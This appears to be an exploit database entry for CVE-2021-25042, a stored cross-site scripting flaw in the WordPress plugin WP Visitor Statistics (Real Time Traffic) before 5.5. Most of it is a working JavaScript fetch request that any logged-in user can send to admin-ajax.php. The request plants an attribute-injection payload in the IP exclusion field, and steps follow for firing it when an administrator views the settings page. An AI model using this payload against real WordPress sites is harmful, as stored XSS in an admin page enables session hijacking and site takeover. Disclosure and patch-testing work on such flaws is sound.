Exploit for WP Visitor Statistics (Real Time Traffic) < 5.5 - Arbitrary IP Address Exclusion to Stored XSS CVE-2021-25042

Name: Exploit for WP Visitor Statistics (Real Time Traffic) < 5.5 - Arbitrary IP Address Exclusion to Stored XSS CVE-2021-25042
Rating: 5 (187 reviews)

2022-01-31 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:05B9E478-2D3B-4460-88C1-7F81D3A68AC4
As any logged-in user:

fetch("http://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"updateIpAddress","ip":'" style=animation-name:rotation onanimationstart=alert(1) x'}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

Then (as admin) browse to https://example.com/wp-admin/admin.php?page=wsm_settings#ipexclusion or https://example.com/wp-admin/admin.php?page=wsm_ipexc